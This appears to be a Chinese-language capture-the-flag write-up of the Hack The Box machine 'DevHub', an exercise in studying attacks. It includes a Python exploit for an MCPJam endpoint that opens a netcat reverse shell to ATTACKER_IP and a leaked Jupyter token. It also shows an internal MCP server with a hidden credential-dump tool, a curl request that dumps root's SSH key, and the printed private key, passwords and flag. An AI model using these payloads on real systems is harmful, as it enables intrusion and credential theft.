HTB - DevHub

13k 詞

轉發圖片

User.txt

Enum

新玩具 fscan Github : https://github.com/shadow1ng/fscan
畫面很簡潔 , 掃出來的結果也挺可靠的 , 有非常多常見的自動化測試

Payload : fscan -h 10.129.10.231 -p 1-65535

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(guertena㉿meow)-[~/tools]
└─$ ./fscan -h 10.129.10.231 -p 1-65535
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan 2.1.3 (7459da2 2026-05-15T11:55:43Z)

[*] 10.129.10.231:22 ssh [Product:OpenSSH ||Version:8.9p1 Ubuntu 3ubuntu0.15] Banner:(SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.15)
[*] 10.129.10.231:80 http [Product:nginx ||Version:1.18.0] Banner:(HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 06 Jun 2026 13:31:50 GM...)
[*] 10.129.10.231:6274 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 400 Bad Request Connection: close)

網頁端有 Port : 6274 開著 進去後是部屬 MCPJam 服務的這個工具我沒有使用過 , 所以先從版本號入手看有沒有 exploit

RCE MCPJam

MCPJam Version : v1.4.2 found CVE-2026-23744

這個版本的 MCPJam API /api/mcp/connect 是直接監聽 0.0.0.0

所以一個簡單的 http 請求就能觸發 RCE

圖片

Exploit
只是用 Python 構造一個簡單的 Post 請求取得 Reverse Shell
要注意的是這個 Exploit 寫的是 https 如果要直接取用要修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import json


target = "http://TARGET"
ip = "ATTACKER_IP"
port = "ATTACKER_PORT"

url = f'{target}/api/mcp/connect'


data = {
"serverConfig": {
"command": "busybox",
"args": [
"nc",
f"{ip}",
f"{port}",
"-e",
"/bin/bash"
],
"env": {}
},
"serverId": "9uertenaMe0w"
}

response = requests.post(url, json=data, verify=False)

print(response.status_code)
print(response.text)

Got a reverse shell

圖片

Enum inside

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ uname -a
Linux devhub 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ hostname
devhub
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:6274 0.0.0.0:* users:(("node-MainThread",pid=1307,fd=29))
LISTEN 0 128 [::]:22

6274 已經知道是甚麼了 但是 5000 8888 就很可疑

使用 ps aux 取得更多訊息 , 在這種部屬多服務的環境中可以拿到非常多的訊息

由於我們在 TTY 環境下沒辦法讀取到超過邊界的文字 , 所以這邊透過 Base64 編碼後到本地解碼

Payload :
ps aux | base64

a (All users):預設情況下,ps 只會顯示「你這個帳號」正在執行的程式。加上 a 後,它會把 root、www-data、mysql、甚至剛才提到的 analyst 等所有使用者的進程全部列出來。

u (User-oriented format):加上 u,輸出的格式會變得非常詳細。它不再只給你一個行程代號 (PID),而是會列出:是誰跑的 (USER)、佔用多少 CPU 和記憶體 (MEM)、目前的狀態 (STAT)、以及最重要的——完整的啟動指令 (COMMAND)。

x (Without TTY):這是訊息爆量的最大主因。很多系統服務(例如網路管理員、SSH 服務、定時任務 cron、甚至系統核心線程)是在「背景」默默執行的,它們沒有綁定任何終端機 (TTY)。加上 x,就會強迫系統把這些看不見的背景守護進程 (Daemons) 全部顯示出來。

這邊獲得了一個重要的訊息

1
2
3
4
5
6
7
8
9
10
analyst   
/home/analyst/jupyter-env/bin/python3
/home/analyst/jupyter-env/bin/jupyter-lab
--ip=127.0.0.1
--port=8888
--no-browser
--notebook-dir=/home/analyst/notebooks
--ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password=
--ServerApp.allow_origin=
--ServerApp.disable_check_xsrf=False

analyst 是本機的使用者之一 他執行了這一串指令在 127.0.0.1:8888 開了一個 jupyter 的服務而且訪問的 token 還明文洩漏也就代表我們能透過這個token使用analyst的身分執行任意指令

由於需要強制訪問127.0.0.1所以這邊嘗試用sshLocal Port Forwarding

這邊先準備好一對 SSH Key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(guertena㉿meow)-[~/Project/devhub]
└─$ ssh-keygen -f meow
Generating public/private ed25519 key pair.
Enter passphrase for "meow" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in meow
Your public key has been saved in meow.pub
The key fingerprint is:
SHA256:2ztk9tNG9DjChzMufyE/IDwxi3brjci63wer6jmH04E guertena@meow
The key's randomart image is:
+--[ED25519 256]--+
| |
| |
| |
| o . |
| .So = o o |
| E +o@ O * .|
| +.*.O @ o |
| +ooo=+= * |
| .*O=o==o+ . |
+----[SHA256]-----+

meow.pub 命名成 authorized_keys 丟上去

Ligolo 顯得有點多餘了 , 所以這邊直接用 ssh 轉發這兩個 Port 到本地進行操作

1
ssh -i meow -L 8888:127.0.0.1:8888 -L 5000:127.0.0.1:5000 -N mcp-dev@devhub.htb

圖片


Root.txt

rootanalyst的帳號底下執行一個程式我很在意

圖片

打印出來看看

Server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""

from flask import Flask, jsonify, request
import os

app = Flask(__name__)

# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"

# Registered tools (visible)
VISIBLE_TOOLS = {
"ops.system_status": {
"description": "Get system status and health metrics",
"parameters": {}
},
"ops.list_services": {
"description": "List running services",
"parameters": {}
},
"ops.check_disk": {
"description": "Check disk usage",
"parameters": {}
},
"ops.view_logs": {
"description": "View recent system logs",
"parameters": {"service": "string"}
}
}

# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
"parameters": {"target": "string", "confirm": "boolean"}
},
"ops._debug_mode": {
"description": "Enable debug mode",
"parameters": {}
}
}

ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}

def check_auth():
"""Check API key authentication"""
api_key = request.headers.get('X-API-Key', '')
return api_key == VALID_API_KEY

@app.route('/')
def index():
return jsonify({
"server": "OPSMCP",
"version": "2.1.0",
"status": "operational",
"endpoints": ["/tools/list", "/tools/call", "/health"],
"auth": "Required - X-API-Key header"
})

@app.route('/health')
def health():
return jsonify({"status": "healthy", "uptime": "14d 3h 22m"})

@app.route('/tools/list')
def list_tools():
if not check_auth():
return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401

return jsonify({
"tools": list(VISIBLE_TOOLS.keys()),
"count": len(VISIBLE_TOOLS),
"details": VISIBLE_TOOLS
})

@app.route('/tools/call', methods=['POST'])
def call_tool():
if not check_auth():
return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401

data = request.get_json() or {}
tool_name = data.get('name', '')
args = data.get('arguments', {})

if not tool_name:
return jsonify({"error": "Tool name required"}), 400

if tool_name not in ALL_TOOLS:
return jsonify({"error": f"Unknown tool: {tool_name}"}), 404

# Execute tool
if tool_name == "ops.system_status":
return jsonify({
"cpu": "23%",
"memory": "1.2GB/4GB",
"load": "0.45",
"status": "nominal"
})

elif tool_name == "ops.list_services":
return jsonify({
"services": [
{"name": "nginx", "status": "running", "pid": 1234},
{"name": "opsmcp", "status": "running", "pid": 5678},
{"name": "jupyter", "status": "running", "pid": 9012},
{"name": "mcpjam", "status": "running", "pid": 3456}
]
})

elif tool_name == "ops.check_disk":
return jsonify({
"filesystems": [
{"mount": "/", "used": "4.2G", "available": "15G", "percent": "22%"},
{"mount": "/home", "used": "1.1G", "available": "8G", "percent": "12%"}
]
})

elif tool_name == "ops.view_logs":
service = args.get('service', 'system')
return jsonify({
"service": service,
"logs": [
"[2026-01-22 10:00:01] Service started",
"[2026-01-22 10:00:02] Listening on configured port",
"[202
6-01-22 10:15:33] Health check passed",
"[2026-01-22 11:00:00] Routine maintenance completed"
]
})

elif tool_name == "ops._debug_mode":
return jsonify({
"debug": True,
"message": "Debug mode enabled",
"hidden_tools": list(HIDDEN_TOOLS.keys()),
"note": "Debug endpoints now accessible"
})

elif tool_name == "ops._admin_dump":
target = args.get('target', '')
confirm = args.get('confirm', False)

if not confirm:
return jsonify({
"error": "Confirmation required",
"usage": "Set confirm=true to proceed",
"warning": "This dumps sensitive credentials"
})

if target == "ssh_keys":
try:
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({
"target": "ssh_keys",
"root_private_key": key_data,
"note": "Emergency recovery key dump"
})
except Exception as e:
return jsonify({
"target": "ssh_keys",
"error": f"Could not read key: {str(e)}"
})

elif target == "passwords":
return jsonify({
"target": "passwords",
"dump": {
"root": "$6$rounds=656000$saltsalt$hashedpassword",
"analyst": "JupyterN0tebook!2026",
"mcp-dev": "Mcp!Insp3ct0r2026"
}
})

elif target == "tokens":
return jsonify({
"target": "tokens",
"api_tokens": {
"admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
"service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
}
})

else:
return jsonify({
"error": "Invalid target",
"valid_targets": ["ssh_keys", "passwords", "tokens"]
})

return jsonify({"error": "Tool execution failed"}), 500

if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)

可以看到 @app.route('/tools/call', methods=['POST'])

這個 API 可以調用的工具很多 其中 tool_name == "ops._admin_dump":

可以 Dumprootssh_key , password , tokens

加上這個程式本身就硬編碼了 API-KEY 所以只要有個構造完整的 POST 請求 , 就能完整拿到 ROOTssh_key

1
2
3
4
curl -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}'

圖片

整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9
G/jqltqP312IONAX9LwvTne81E4h+hi2xdjwgvh27iE4AvCQolR8S0GWHwHQjjXVQ5/dHX
8MA96Qabow623zQe5D6PUAsFj6aWP5fDceIziAxkLIMgpsE6I0bWOKaGmgEG0rW1I/mw8z
6HmooVORQsQoTaVUhnUmRJRcLpQEu94hzb+0kQ0ObKikcDTnit1kQ/7ZUOoyGhUgEwVk/n
Ghm2D96OW/JLpMIowwDxnka+3l9u5Aj55Y9fWN9aGld5pVvcoPRZ7twODIbXNSjzWsLQRQ
7l8/a2M+aQAAA8BGnYWeRp2FngAAAAdzc2gtcnNhAAABAQDBYfDgi/zIPDKo5pw7m4HY4W
v9FoPVMXX3am2Ale7S+PlJPKk5Qf0b+OqW2o/fXYg40Bf0vC9Od7zUTiH6GLbF2PCC+Hbu
ITgC8JCiVHxLQZYfAdCONdVDn90dfwwD3pBpujDrbfNB7kPo9QCwWPppY/l8Nx4jOIDGQs
gyCmwTojRtY4poaaAQbStbUj+bDzPoeaihU5FCxChNpVSGdSZElFwulAS73iHNv7SRDQ5s
qKRwNOeK3WRD/tlQ6jIaFSATBWT+caGbYP3o5b8kukwijDAPGeRr7eX27kCPnlj19Y31oa
V3mlW9yg9Fnu3A4Mhtc1KPNawtBFDuXz9rYz5pAAAAAwEAAQAAAQAjgZkZkXpjRXJDwrvS
0fWgXZtXR8gC3+b5+4eJgX3tLJuQz9t+UNhpR2XDNvQNnf3B+Ks9W0QQUznPfV0Nr3X3k6
JtWbN0e5LuLz9PHtYHd05Z+RpS0h2LIhIWNVp+Z2H6l54dy/1LELVVU47B0kSAD0Qig3g8
HUa/oEljrrgzTlYflRHhkHQblmd9ZaClUoxIDh0zf2Esmp3nIRBm4J1OX5UQPiPEa7/LkB
dcQr1K4Z1pbZglc5wPUJZCv8MtVPvW9rCgERl9Sl4bKevsgS4mMMUvVxNdqyasYqNAXi/L
Cvk9YYP9PS4q1dfCYMIvsJJNyoBtUiCJwqW2ba6hs1vVAAAAgDEPkj6UOdX1B872cHrja2
nnkahzlja7GZw3G2+hsib4kH/G1nwQs9RRtnzqf/mrXeEhxB27ZN+QE39e7yTC3r6f84mSn
Mz/gS3Czh6DtP+S18jV4xCeac/SoLuxgLvPZ3xnHWvPO6HePQzyVlVk/MBfp+yPrCpIiHK
MtVMaeJXFYAAAAgQDSlTQAPhkFhsswOcohRO+1hd/4xdD9UECem1ytsb5/on47/GEWvtQI
oocmAAMvEYlOvs8GXeYkMBAwi5VCjLunNBCmuRMjTEgE7lqgdhfkK0Lx/a4BWnYaki+xbk
Jt9XB5f2NlmnT4A5QqiO+qPYA2i1iF9CSv5ypxqHFChgMZNwAAAIEA6xcR6lBjwgtKuzRQ
nI+f8DFRxcdfKY1gs0BmfS0RRxwDzIEwJHYafyHnq/CKBTDPCYyn/VI+mF64hhtjUbDgAr
C8X6q/4LJecp3piSHgv6yXhpzkxtz+Q/JSXPFf/9NAgVFQtUjrrnGZbP9kNySaX6q6/npK
lFORwv9PYfxftV8AAAALcm9vdEBkZXZodWI=
-----END OPENSSH PRIVATE KEY-----

加上 chmod 600 root_key

1
2
3
4
5
root@devhub:~# ls
root.txt snap
root@devhub:~# cat root.txt
883d7f92eca81ad4336e2f5a419f215a
root@devhub:~#

r00t D0ne!